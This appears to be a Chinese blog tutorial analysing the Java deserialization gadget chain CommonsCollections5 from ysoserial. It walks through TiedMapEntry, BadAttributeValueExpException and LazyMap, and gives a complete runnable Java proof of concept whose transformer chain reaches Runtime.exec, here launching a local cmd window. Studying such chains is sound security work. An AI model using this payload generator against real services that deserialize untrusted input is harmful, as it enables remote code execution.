CommonsCollections5(基于ysoserial)
环境准备
JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568
CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。
让我们来看一下为什么通过这两个类可以完成攻击链的触发。
TiedMapEntry
TiedMapEntry 是 Commons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。
CC5中的应用
在 CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntry 和 LazyMap 的结合来构建攻击链。
LazyMap的懒加载机制:LazyMap被用来延迟加载对象,攻击者通过将恶意代码与LazyMap绑定,延迟执行某些操作。TiedMapEntry在这里负责将恶意的LazyMap对象和其他需要的对象绑定在一起。TiedMapEntry和LazyMap配合:攻击者可以将TiedMapEntry与LazyMap一起使用,通过访问LazyMap中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。- 触发反序列化时的恶意操作:当反序列化包含
TiedMapEntry的对象时,访问TiedMapEntry的getValue()方法会触发与之绑定的恶意操作,最终可能执行恶意代码。
关键代码分析
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 会执行到这个地方
// 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重点在这个方法中,他调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
BadAttributeValueExpException
BadAttributeValueExpException 是 javax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。
在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。
CC5中的应用
在 CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。
CC5 攻击链的具体应用:
- 构造
BadAttributeValueExpException:首先构造一个BadAttributeValueExpException对象,并通过反射将恶意的TiedMapEntry对象设置到val字段中。 - 触发反序列化:在反序列化过程中,
BadAttributeValueExpException的val字段会被访问,而这个字段绑定了一个TiedMapEntry对象。此时,TiedMapEntry的getValue()方法被调用,从而触发LazyMap的懒加载操作。 - 执行恶意代码:
LazyMap中的Transformer链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。
关键代码分析
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点是这个方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
构造POC
一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码
public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser";
public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}
调试
来弹个cmd

调用链
其实和CC1的调用链非常非常像,只是攻击链的触发点不一样
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- InvokerTransformer.transform()
- ConstantTransformer.transform()
- ChainedTransformer.transform()
- LazyMap.get()
- TiedMapEntry.getValue()
- TiedMapEntry.toString()
- BadAttributeValueExpException.readObject()
CommonsCollections5(基于ysoserial)的更多相关文章
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目
最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...
- 自定义基于 VLC 的视频播放器
前言(蛋疼的背景故事) 前段时间,接了一个小项目,有个需求是要在系统待机一段时间以后,循环播放 MV(类似于 Windows 系统的屏幕保护). 听到这个需求,我首先想到的是 MediaPlayer ...
随机推荐
- Go 闭包捕获问题
在 Go 语言中,闭包(closure)是一个函数值,它引用了其外部作用域中的变量.简而言之,闭包能够"捕获"并"记住"其外部作用域中的变量,即使这个变量的生命 ...
- 【Git代码仓库】之合并分支代码操作到主干代码上(界面版/命令版)
一.代码管理仓库,合并分支代码到主干(界面版*) 1.从远程Git代码仓库克隆到本地 # Git克隆 git clone git@e.coding.net:XXX/SQM/SC_WEB_Project ...
- AI产品经理的探索:技能、机遇与未来展望
Ai时代的产品经理 随着人工智能(AI)的飞速发展,AI已经从一个前沿技术概念逐步演变为驱动各行业创新的核心力量.从智能助手到自动驾驶,从个性化推荐系统到图像识别,AI正在以不可思议的速度改变着我们的 ...
- 【YashanDB数据库】数据库运行正常,日志出现大量错误metadata changed
问题现象 客户在麒麟kylin v10 sp1环境上部署YashanDB,运行正常, 但是在巡检中发现run.log中有大量错误日志文件metadata changed,需要排查原因 问题单:前置机大 ...
- 【YashanDB知识库】stmt未close,导致YAS-00103 no free block in sql main pool part 0报错分析
问题现象 问题单:YAS-00103 no free block in sql main pool part 0,YAS-00105 out of memory to allocate hash ta ...
- 【YashanDB知识库】ODBC驱动类问题定位方法
[标题]ODBC驱动类问题定位方法 [需求分类]故障分析 [关键字]ODBC [需求描述]由于我们的ODBC接口目前尚不完善,经常会遇见ODBC接口能力不足导致应用功能无法运行的问题,需要定位手段确定 ...
- RxJS 系列 – Join Operators
前言 前几篇介绍过了 Creation Operators Filtering Operators Join Creation Operators Error Handling Operators T ...
- Asp.net core 学习笔记 Secret 和 Data Protect Azure key-vault & Storage Account 第 2 篇
更新 30-04-2023 最新版本请看这 2 篇 ASP.NET Core – User Secret & Azure Key Vault 之前有写过 2 篇关于 key-vault 和 d ...
- Angular 学习笔记 (Angular 12 get started)
Angular 12 视乎比以往更稳定了. 这里记入一般的 get started 结构和做法. 第 1 步, 创建项目. ng new project --create-application=fa ...
- logisim学习感想(持续更新)
状态机类型 存在两种类型的状态机,分别为mealy型状态机和moore型状态机,在实验中,二者的大体实现如下: 其中从输入到输出的连线只有mealy状态机才有,而moore型则无此线. 区分两种类型的 ...